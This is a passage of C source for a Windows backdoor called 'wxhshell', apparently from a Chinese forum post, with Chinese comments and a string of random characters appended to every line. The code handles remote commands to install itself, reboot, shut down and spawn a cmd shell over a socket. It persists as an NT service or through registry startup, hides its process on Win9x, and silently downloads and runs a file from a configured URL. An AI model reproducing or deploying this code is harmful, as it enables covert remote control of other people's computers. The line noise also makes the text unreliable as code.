  } 6yV5Yjs  
  // 安装 =P@M&Yy'  
  case 'i': { ;))[P_$zB  
    if(Install()) :T8u?@ .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hlY S=cgY=  
    else Ih9ORp7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~7FEY0/  
    break; P*?d6v,r  
    } T9&,v<f  
  // 卸载 qJe&jLZa  
  case 'r': { i'[n`|c<  
    if(Uninstall()) HPv&vdr3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %`t]FV^#  
    else *rujdQf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i!/h3%=  
    break; I_R5\l}O+D  
    } A= \'r<:  
  // 显示 wxhshell 所在路径 \rB/83[;u  
  case 'p': { U)IsTk~}O  
    char svExeFile[MAX_PATH]; 7zz(#  
    strcpy(svExeFile,"\n\r"); mH7CgI  
      strcat(svExeFile,ExeFile); (@N~ j&  
        send(wsh,svExeFile,strlen(svExeFile),0); f z/?=  
    break; dK-  ^  
    } :~qtvs;{  
  // 重启  Y,<WX v  
  case 'b': { ;@=@N9q K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |1\dCE03}  
    if(Boot(REBOOT)) + 3~Gc<OO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); giA~+m~fN  
    else { Z`0r]V`Ys  
    closesocket(wsh); K{`2jK#  
    ExitThread(0); S]#=ES'^/  
    } ;'Z,[a  
    break; Q9Xm b2LN  
    }  P %U9S  
  // 关机 6w:g77SH)%  
  case 'd': { -Lz1#Sk]A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z]1z*dv  
    if(Boot(SHUTDOWN)) A1=$kzw{UH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sk%:Sp  
    else { !$ J)  
    closesocket(wsh); wAj(v6  
    ExitThread(0); ps{&WT3a  
    } ajcPt]f  
    break; t6H2tP\AS  
    } ^| a&%wxA  
  // 获取shell lL(}dbT~N  
  case 's': { lhW#IiX  
    CmdShell(wsh); R+@sHsZ@  
    closesocket(wsh); qU /Wg  
    ExitThread(0); s\3Z?zm8  
    break; %yS`C"ZQ)  
  } [h2p8i 'o  
  // 退出 " N`V*0h  
  case 'x': { uV*f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >k&lGF<nl  
    CloseIt(wsh); eW }jS/g`  
    break; JXI+k.fi  
    } D3ZT''  
  // 离开 iX9[Q0g=oQ  
  case 'q': { "cz]bCr8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gP_d >p:b  
    closesocket(wsh); s/p>30Fg  
    WSACleanup(); 9b=^"K  
    exit(1); 2kmna/Qa6  
    break; sL[(cX?;2  
        } =O}%bZ)Q  
  } 8zB+%mcF  
  } EcS-tE 4%  
bW 79<T'+  
  // 提示信息 )4o=t.O\K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,:Rq  
} 6lH>600]u  
  } @Tm0T7C  
0I ND9h. %  
  return; Z:o' +oh  
} v'2OHb#  
\Vhp B   
// shell模块句柄 ah&plaVzC  
int CmdShell(SOCKET sock) "351s3ff  
{ #VMBn}   
STARTUPINFO si; N%M>,wT  
ZeroMemory(&si,sizeof(si)); BzG!Rg|J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `- uZv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (^@;`8Dy8  
PROCESS_INFORMATION ProcessInfo; 3\U,Kg  
char cmdline[]="cmd"; ?U.&7yY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bbe/w#Z  
  return 0; y0mg}N1  
} uzn))/"  
/EAQ.vxI  
// 自身启动模式 l8n[8AT1  
int StartFromService(void) ]qP}\+:  
{ vG Lb2Q  
typedef struct #.t$A9'  
{ u3?Pp[tM<  
  DWORD ExitStatus; Wn9Mr2r!*,  
  DWORD PebBaseAddress; URzE+8m^  
  DWORD AffinityMask; fN? Lz%z3  
  DWORD BasePriority; v.8S V]  
  ULONG UniqueProcessId; ]\b1~ki!F  
  ULONG InheritedFromUniqueProcessId; vEee/+1?  
}   PROCESS_BASIC_INFORMATION; kHIQ/\3?Q  
[ QL<&:s&  
PROCNTQSIP NtQueryInformationProcess; cE8 _keR~  
Tk@g9\6O9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -r2qIt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }JTgj  
.^+$w $  
  HANDLE             hProcess; 2W-NCE%K)T  
  PROCESS_BASIC_INFORMATION pbi; ^}pREe c=  
EpS8,[w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t;~`Lm@hY  
  if(NULL == hInst ) return 0; gZ%O<XO  
z(#hL-{c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9,a,A6xry  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3b/vyZF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DDCQAf  
vYm& AD  
  if (!NtQueryInformationProcess) return 0; LkbvA  
^DCv-R+ p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N)I T?  
  if(!hProcess) return 0; PHL@1K{)  
CzsY=DBH=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dp |FyP_w  
!?-5 hh1\  
  CloseHandle(hProcess); r#Oz0=0u  
DO,&Foh\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S/:QVs  
if(hProcess==NULL) return 0; > mDubP  
s/&]gj "  
HMODULE hMod; &^D@(m7>{K  
char procName[255]; ~E|V{z%  
unsigned long cbNeeded; GpQF * x  
EYD{8Fw-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fvfVBk#  
o 0 #]EMr  
  CloseHandle(hProcess); .Qw@H#dtW  
-$|X\#R  
if(strstr(procName,"services")) return 1; // 以服务启动 R3!vS+5rR  
T-8nUo}i  
  return 0; // 注册表启动 Y/I6.K3  
} aZCT|M1  
`Q^Sm`R  
// 主模块 KIl.?_61O  
int StartWxhshell(LPSTR lpCmdLine) m-FDCiN>  
{ &B,& *Lp  
  SOCKET wsl; RvZ-w$E&?  
BOOL val=TRUE; T[=cKYp8\  
  int port=0; Qi]Z)v{^  
  struct sockaddr_in door; cTx/Y&\9  
LsZ!':LN  
  if(wscfg.ws_autoins) Install(); 3kQ8*S  
X35U!1Y\  
port=atoi(lpCmdLine); *K^O oS  
f0bV]<_9  
if(port<=0) port=wscfg.ws_port; }? '9L:  
=v=!x  
  WSADATA data; O!+5As  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; * CGdfdxW  
&_hCs![  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =9@yJ9c-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VIdoT2  
  door.sin_family = AF_INET; &bgi0)>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O}!@28|3"  
  door.sin_port = htons(port); O9&:(2'f  
Z_WTMs:x!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G")EE#W$}  
closesocket(wsl); y%l#lz=6  
return 1; ?bDae%>.d,  
} G QBN-Qv  
jz:c)C&/  
  if(listen(wsl,2) == INVALID_SOCKET) { ,T[ +omo  
closesocket(wsl); g'7hc~=  
return 1; { 4{{;   
} RYaof W  
  Wxhshell(wsl); (,y/nc=GN  
  WSACleanup(); xTJ5VgG  
?^ 5*[H  
return 0; -)+DVG.t  
l<%~w U  
} <s3(   
n{ WJ.Y*  
// 以NT服务方式启动 3m7V6##+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5FKd{V'  
{ {# _C  
DWORD   status = 0; f+~!s 2uw  
  DWORD   specificError = 0xfffffff; M 7$4KFNp  
!jnIXvT1qy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PdBhX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }Cg~::,"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N0hU~|/  
  serviceStatus.dwWin32ExitCode     = 0;  IomJo  
  serviceStatus.dwServiceSpecificExitCode = 0; #vwXxr  
  serviceStatus.dwCheckPoint       = 0;  kovzB]  
  serviceStatus.dwWaitHint       = 0; Pk_{{Z(1o  
[i#Gqx>'w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l);8y5  
  if (hServiceStatusHandle==0) return; M oHvXp;X  
') y~d  
status = GetLastError(); )KQum`pO  
  if (status!=NO_ERROR) ~riw7"  
{ Ih"Ol(W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H;&t"Ql.  
    serviceStatus.dwCheckPoint       = 0; .w)t<7 y  
    serviceStatus.dwWaitHint       = 0; %;?3A#  
    serviceStatus.dwWin32ExitCode     = status; Z`t?kXDNoI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1=.kH[R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6LQO>k  
    return; ZfikNQU9r  
  } C;>Ll~f_  
<Rt@z|Zv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _3[BS9  
  serviceStatus.dwCheckPoint       = 0; 6s2g+[  
  serviceStatus.dwWaitHint       = 0; #ySx$WT;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $c47cJO)W  
} [.,6~=}vP  
-y<uAI g  
// 处理NT服务事件,比如:启动、停止 4gENV{ L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z(eAwmuli  
{ e84TL U?~  
switch(fdwControl) DL_\luh  
{ u)pBFs<dn  
case SERVICE_CONTROL_STOP: czRh.kz,  
  serviceStatus.dwWin32ExitCode = 0; AFED YRX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RfRaWbn  
  serviceStatus.dwCheckPoint   = 0; T,>e\  
  serviceStatus.dwWaitHint     = 0; 4*W7{MPY  
  { 4iW 2hV@m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [_@OCiV5)  
  } *[n^6)  
  return; .5xg;Qg\Y  
case SERVICE_CONTROL_PAUSE: *JXJ 2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P s;:g0  
  break; k 3XtKPO  
case SERVICE_CONTROL_CONTINUE: g2q=&eI"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =p6xc}N  
  break; (J*0/7 eX  
case SERVICE_CONTROL_INTERROGATE: mNKa~E  
  break; N\$wpDI~  
}; RoZV6U~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8{u 01\0}  
} M czWg  
k#n=mm'N9  
// 标准应用程序主函数 ? |dz"=y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h6t>yC\  
{ v2V1&-  
eGil`:JY"  
// 获取操作系统版本 vxx3^;4p  
OsIsNt=GetOsVer(); (6{ VMQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P+UK@~D+G  
cj *4 XYu  
  // 从命令行安装 ,YTIYG](  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9A!qg<  
3>6o=7/PU  
  // 下载执行文件 'CX KphlWs  
if(wscfg.ws_downexe) { ewg WzB9c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `fyAV@X  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y)`+u#` R  
} f14c} YY  
}^q#0`e(y  
if(!OsIsNt) { $Vzfhj-if  
// 如果时win9x,隐藏进程并且设置为注册表启动 9h{G1XL  
HideProc(); _JH6bvbQ  
StartWxhshell(lpCmdLine); cw\a,>]H  
} x7?{*w&r  
else P'8 E8_M}  
  if(StartFromService()) Apn#o2  
  // 以服务方式启动 k|5nu-B0v  
  StartServiceCtrlDispatcher(DispatchTable); Y<v55m-  
else -,&Xp>u\  
  // 普通方式启动 i_"I"5pBF  
  StartWxhshell(lpCmdLine); xjN~Y D:  
Tx(R3B+u7  
return 0; wah`  
}
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只看该作者 1 发表于: 2006-10-10
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